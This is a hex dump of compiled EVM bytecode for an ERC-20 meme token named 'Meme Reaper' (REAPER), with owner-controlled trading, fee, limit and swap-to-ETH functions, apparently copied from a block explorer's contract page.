60608486031215614ba257614ba16136dc565b5b6000614bb086828701614b74565b9350506020614bc186828701614b74565b9250506040614bd286828701614b74565b915050925092509256fea264697066735822122029918dd82984169a3009207fca06ef0099084a4f89c1ee4f41145fdf53f56daa64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101d15760003560e01c806370a08231116100f7578063a9059cbb11610095578063e8ba854f11610064578063e8ba854f1461067b578063f2fde38b146106a4578063f8978401146106cd578063f8b45b05146106f6576101d8565b8063a9059cbb146105cc578063c3f70b5214610609578063dd62ed3e14610634578063e8078d9414610671576101d8565b80638d3e6e40116100d15780638d3e6e40146105105780638da5cb5b1461054d57806395d89b4114610578578063a6097b0a146105a3576101d8565b806370a0823114610491578063715018a6146104ce57806375f0a874146104e5576101d8565b8063368f48001161016f5780634fcd24461161013e5780634fcd2446146103d657806357ff135a146103ff5780635a90a49e146104285780636373ea6914610465576101d8565b8063368f48001461032c57806346b898341461035557806347062402146103805780634d4ce935146103ab576101d8565b806323b872dd116101ab57806323b872dd146102705780632b14ca56146102ad5780632fb528ba146102d8578063313ce56714610301576101d8565b806306fdde03146101dd578063095ea7b31461020857806318160ddd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610721565b6040516101ff91906136ba565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190613775565b61075e565b60405161023c91906137d0565b60405180910390f35b34801561025157600080fd5b5061025a610850565b60405161026791906137fa565b60405180910390f35b34801561027c57600080fd5b5061029760048036038101906102929190613815565b610873565b6040516102a491906137d0565b60405180910390f35b3480156102b957600080fd5b506102c2610a7d565b6040516102cf9190613884565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa91906138f7565b610a94565b005b34801561030d57600080fd5b50610316610c7a565b6040516103239190613884565b60405180910390f35b34801561033857600080fd5b50610353600480360381019061034e9190613971565b610c83565b005b34801561036157600080fd5b5061036a610e3f565b60405161037791906137fa565b60405180910390f35b34801561038c57600080fd5b50610395610e49565b6040516103a29190613884565b60405180910390f35b3480156103b757600080fd5b506103c0610e60565b6040516103cd91906137fa565b60405180910390f35b3480156103e257600080fd5b506103fd60048036038101906103f891906139b1565b610e6a565b005b34801561040b57600080fd5b50610426600480360381019061042191906139f1565b610f84565b005b34801561043457600080fd5b5061044f600480360381019061044a9190613a44565b611161565b60405161045c91906137d0565b60405180910390f35b34801561047157600080fd5b5061047a6111b7565b604051610488929190613a80565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190613a44565b6111e2565b6040516104c591906137fa565b60405180910390f35b3480156104da57600080fd5b506104e361122b565b005b3480156104f157600080fd5b506104fa611334565b6040516105079190613ab8565b60405180910390f35b34801561051c57600080fd5b5061053760048036038101906105329190613a44565b61135e565b60405161054491906137d0565b60405180910390f35b34801561055957600080fd5b506105626113b4565b60405161056f9190613ab8565b60405180910390f35b34801561058457600080fd5b5061058d6113dd565b60405161059a91906136ba565b60405180910390f35b3480156105af57600080fd5b506105ca60048036038101906105c59190613b0f565b61141a565b005b3480156105d857600080fd5b506105f360048036038101906105ee9190613775565b611655565b60405161060091906137d0565b60405180910390f35b34801561061557600080fd5b5061061e6116b2565b60405161062b91906137fa565b60405180910390f35b34801561064057600080fd5b5061065b60048036038101906106569190613b76565b6116bc565b60405161066891906137fa565b60405180910390f35b610679611743565b005b34801561068757600080fd5b506106a2600480360381019061069d9190613b76565b611e30565b005b3480156106b057600080fd5b506106cb60048036038101906106c69190613bf4565b6120d7565b005b3480156106d957600080fd5b506106f460048036038101906106ef9190613971565b6121df565b005b34801561070257600080fd5b5061070b61231f565b60405161071891906137fa565b60405180910390f35b60606040518060400160405280600b81526020017f4d656d6520526561706572000000000000000000000000000000000000000000815250905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161083e91906137fa565b60405180910390a36001905092915050565b60006009600a6108609190613d83565b620f424061086e9190613dce565b905090565b600061087e84612329565b6108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b490613e5c565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a695781600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109e89190613e7c565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610a74848484612404565b90509392505050565b6000600260019054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1990613efc565b60405180910390fd5b6001601160016101000a81548160ff02191690831515021790555060648260ff161115610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90613f68565b60405180910390fd5b600060648360ff16600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd69190613dce565b610be09190613fb7565b90506009600a610bf09190613d83565b811115610c0157610c0081612990565b5b8115610c5a57600047905060008111610c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4690614034565b60405180910390fd5b610c5847612baf565b505b506000601160016101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0890613efc565b60405180910390fd5b600060016103e88461ffff166009600a610d2b9190613d83565b620f4240610d399190613dce565b610d439190613dce565b610d4d9190613fb7565b610d579190614054565b9050600454811015610d9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d95906140d4565b60405180910390fd5b80600481905550600060016103e88461ffff166009600a610dbf9190613d83565b620f4240610dcd9190613dce565b610dd79190613dce565b610de19190613fb7565b610deb9190614054565b9050600554811015610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990614140565b60405180910390fd5b8060058190555050505050565b6000600654905090565b6000600260009054906101000a900460ff16905090565b6000600754905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ef8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eef90613efc565b60405180910390fd5b600a8183610f069190614160565b60ff161115610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f41906141e1565b60405180910390fd5b81600260006101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611012576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100990613efc565b60405180910390fd5b808061101b5750815b156110ae57601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a49061424d565b60405180910390fd5b5b81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060028054906101000a900461ffff16600260049054906101000a900461ffff16915091509091565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b090613efc565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161132a9190613ab8565b60405180910390a1565b6000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5245415045520000000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149f90613efc565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6114c49190613d83565b620f42406114d29190613dce565b6114dc9190613dce565b6114e69190613fb7565b6006819055508063ffffffff168263ffffffff166009600a6115089190613d83565b620f42406115169190613dce565b6115209190613dce565b61152a9190613fb7565b6007819055506006546007541015611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156e906142b9565b60405180910390fd5b620186a06009600a6115899190613d83565b620f42406115979190613dce565b6115a19190613fb7565b600754116115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db90614325565b60405180910390fd5b60646009600a6115f49190613d83565b620f42406116029190613dce565b61160c9190613fb7565b6007541061164f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164690614391565b60405180910390fd5b50505050565b600061166033612329565b61169f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169690613e5c565b60405180910390fd5b6116aa338484612404565b905092915050565b6000600454905090565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c890613efc565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461187d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611874906143fd565b60405180910390fd5b601160009054906101000a900460ff16156118cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c490614469565b60405180910390fd5b60003411806118dc5750600047115b61191b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611912906144d5565b60405180910390fd5b6000600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161199d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199490614541565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a2e9190614576565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ab7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611adb9190614576565b6040518363ffffffff1660e01b8152600401611af89291906145a3565b6020604051808303816000875af1158015611b17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3b9190614576565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bc6600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054476000612c1b565b60085460096000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c399190613e7c565b925050819055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611d0b9190614613565b6000604051808303816000865af19150503d8060008114611d48576040519150601f19603f3d011682016040523d82523d6000602084013e611d4d565b606091505b5050905080611d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8890614676565b60405180910390fd5b8060106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611e12612d09565b506000601160016101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb590613efc565b60405180910390fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f625750601060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f98906146e2565b60405180910390fd5b81600260086101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215c90613efc565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516121d49190614761565b60405180910390a150565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461226d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226490613efc565b60405180910390fd5b6000818361227b919061477c565b905060008161ffff16116122c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bb906147fe565b60405180910390fd5b82600260046101000a81548161ffff021916908361ffff160217905550816002806101000a81548161ffff021916908361ffff16021790555080600260066101000a81548161ffff021916908361ffff160217905550505050565b6000600554905090565b60008060009050601160009054906101000a900460ff161561234e57600190506123fb565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123f05750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123fa57600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246b9061486a565b60405180910390fd5b601160009054906101000a900460ff1661256a57600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561252a5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256090613e5c565b60405180910390fd5b5b601160019054906101000a900460ff161580156125d05750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125de576125dd612df1565b5b600154431080156125f157506003544310155b80156126465750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156126ba573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146126b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b0906148d6565b60405180910390fd5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561272257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561277a575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156127ca5761278a848484612ff9565b6127c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c090614942565b60405180910390fd5b5b60006127d7858585613190565b9050600081846127e79190613e7c565b905083600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128349190613e7c565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546128899190614054565b9250508190555080600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128db9190614054565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161297b91906137fa565b60405180910390a36001925050509392505050565b61299981613440565b6000600267ffffffffffffffff8111156129b6576129b5614962565b5b6040519080825280602002602001820160405280156129e45781602001602082028036833780820191505090505b50905030816000815181106129fc576129fb614991565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612aa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ac79190614576565b81600181518110612adb57612ada614991565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612b79959493929190614ab9565b600060405180830381600087803b158015612b9357600080fd5b505af1158015612ba7573d6000803e3d6000fd5b505050505050565b600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612c17573d6000803e3d6000fd5b5050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508115612c4d57600090505b612c5684613440565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b8152600401612cbd96959493929190614b13565b60606040518083038185885af1158015612cdb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d009190614b89565b50505050505050565b606460016009600a612d1b9190613d83565b620f4240612d299190613dce565b612d339190613dce565b612d3d9190613fb7565b600481905550606460016009600a612d559190613d83565b620f4240612d639190613dce565b612d6d9190613dce565b612d779190613fb7565b6005819055506001601160006101000a81548160ff02191690831515021790555043600381905550600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff16600354600154612dd59190614054565b612ddf9190614054565b612de99190614054565b600181905550565b6001601160016101000a81548160ff021916908315150217905550600060085490506006548110158015612e315750601160009054906101000a900460ff165b15612fdb576007548110612e455760075490505b600060028060069054906101000a900461ffff1661ffff16600260049054906101000a900461ffff1661ffff1684612e7d9190613dce565b612e879190613fb7565b612e919190613fb7565b905060008183612ea19190613e7c565b90506009600a612eb19190613d83565b811115612fbf57600047905083600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f0c9190614054565b92505081905550612f1c82612990565b8360086000828254612f2e9190613e7c565b9250508190555060008147612f439190613e7c565b90506000600260049054906101000a900461ffff1661ffff161115612fbc576000600260069054906101000a900461ffff1661ffff16600260049054906101000a900461ffff1661ffff1683612f999190613dce565b612fa39190613fb7565b9050612fae85613440565b612fba85826000612c1b565b505b50505b60004790506000811115612fd757612fd681612baf565b5b5050505b506000601160016101000a81548160ff021916908315150217905550565b60008060019050601160009054906101000a900460ff1680156130665750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130bc5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613185576004548311156130d45760009050613184565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613179575060055483600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131779190614054565b115b1561318357600090505b5b5b809150509392505050565b600080601160009054906101000a900460ff1615806131f85750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061324c5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561325a5760009050613435565b601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156133b457600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff166003546132df9190614054565b6132e99190614054565b4310613320576064600260009054906101000a900460ff1660ff168461330f9190613dce565b6133199190613fb7565b90506133af565b600060169054906101000a900460ff1660ff166003546133409190614054565b4310613377576064600060159054906101000a900460ff1660ff16846133669190613dce565b6133709190613fb7565b90506133ae565b60035443106133ad576064600060149054906101000a900460ff1660ff16846133a09190613dce565b6133aa9190613fb7565b90505b5b5b613434565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613433576064600260019054906101000a900460ff1660ff16846134269190613dce565b6134309190613fb7565b90505b5b5b809150509392505050565b80600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015613627577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161361e91906137fa565b60405180910390a35b50565b600081519050919050565b600082825260208201905092915050565b60005b83811015613664578082015181840152602081019050613649565b60008484015250505050565b6000601f19601f8301169050919050565b600061368c8261362a565b6136968185613635565b93506136a6818560208601613646565b6136af81613670565b840191505092915050565b600060208201905081810360008301526136d48184613681565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061370c826136e1565b9050919050565b61371c81613701565b811461372757600080fd5b50565b60008135905061373981613713565b92915050565b6000819050919050565b6137528161373f565b811461375d57600080fd5b50565b60008135905061376f81613749565b92915050565b6000806040838503121561378c5761378b6136dc565b5b600061379a8582860161372a565b92505060206137ab85828601613760565b9150509250929050565b60008115159050919050565b6137ca816137b5565b82525050565b60006020820190506137e560008301846137c1565b92915050565b6137f48161373f565b82525050565b600060208201905061380f60008301846137eb565b92915050565b60008060006060848603121561382e5761382d6136dc565b5b600061383c8682870161372a565b935050602061384d8682870161372a565b925050604061385e86828701613760565b9150509250925092565b600060ff82169050919050565b61387e81613868565b82525050565b60006020820190506138996000830184613875565b92915050565b6138a881613868565b81146138b357600080fd5b50565b6000813590506138c58161389f565b92915050565b6138d4816137b5565b81146138df57600080fd5b50565b6000813590506138f1816138cb565b92915050565b6000806040838503121561390e5761390d6136dc565b5b600061391c858286016138b6565b925050602061392d858286016138e2565b9150509250929050565b600061ffff82169050919050565b61394e81613937565b811461395957600080fd5b50565b60008135905061396b81613945565b92915050565b60008060408385031215613988576139876136dc565b5b60006139968582860161395c565b92505060206139a78582860161395c565b9150509250929050565b600080604083850312156139c8576139c76136dc565b5b60006139d6858286016138b6565b92505060206139e7858286016138b6565b9150509250929050565b600080600060608486031215613a0a57613a096136dc565b5b6000613a188682870161372a565b9350506020613a29868287016138e2565b9250506040613a3a868287016138e2565b9150509250925092565b600060208284031215613a5a57613a596136dc565b5b6000613a688482850161372a565b91505092915050565b613a7a81613937565b82525050565b6000604082019050613a956000830185613a71565b613aa26020830184613a71565b9392505050565b613ab281613701565b82525050565b6000602082019050613acd6000830184613aa9565b92915050565b600063ffffffff82169050919050565b613aec81613ad3565b8114613af757600080fd5b50565b600081359050613b0981613ae3565b92915050565b60008060008060808587031215613b2957613b286136dc565b5b6000613b3787828801613afa565b9450506020613b4887828801613afa565b9350506040613b5987828801613afa565b9250506060613b6a87828801613afa565b91505092959194509250565b60008060408385031215613b8d57613b8c6136dc565b5b6000613b9b8582860161372a565b9250506020613bac8582860161372a565b9150509250929050565b6000613bc1826136e1565b9050919050565b613bd181613bb6565b8114613bdc57600080fd5b50565b600081359050613bee81613bc8565b92915050565b600060208284031215613c0a57613c096136dc565b5b6000613c1884828501613bdf565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115613ca757808604811115613c8357613c82613c21565b5b6001851615613c925780820291505b8081029050613ca085613c50565b9450613c67565b94509492505050565b600082613cc05760019050613d7c565b81613cce5760009050613d7c565b8160018114613ce45760028114613cee57613d1d565b6001915050613d7c565b60ff841115613d0057613cff613c21565b5b8360020a915084821115613d1757613d16613c21565b5b50613d7c565b5060208310610133831016604e8410600b8410161715613d525782820a905083811115613d4d57613d4c613c21565b5b613d7c565b613d5f8484846001613c5d565b92509050818404811115613d7657613d75613c21565b5b81810290505b9392505050565b6000613d8e8261373f565b9150613d9983613868565b9250613dc67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613cb0565b905092915050565b6000613dd98261373f565b9150613de48361373f565b9250828202613df28161373f565b91508282048414831517613e0957613e08613c21565b5b5092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000613e46601083613635565b9150613e5182613e10565b602082019050919050565b60006020820190508181036000830152613e7581613e39565b9050919050565b6000613e878261373f565b9150613e928361373f565b9250828203905081811115613eaa57613ea9613c21565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000600082015250565b6000613ee6601883613635565b9150613ef182613eb0565b602082019050919050565b60006020820190508181036000830152613f1581613ed9565b9050919050565b7f43616e6e6f742073776170206d6f7265207468616e2031303025000000000000600082015250565b6000613f52601a83613635565b9150613f5d82613f1c565b602082019050919050565b60006020820190508181036000830152613f8181613f45565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fc28261373f565b9150613fcd8361373f565b925082613fdd57613fdc613f88565b5b828204905092915050565b7f4e6f204554480000000000000000000000000000000000000000000000000000600082015250565b600061401e600683613635565b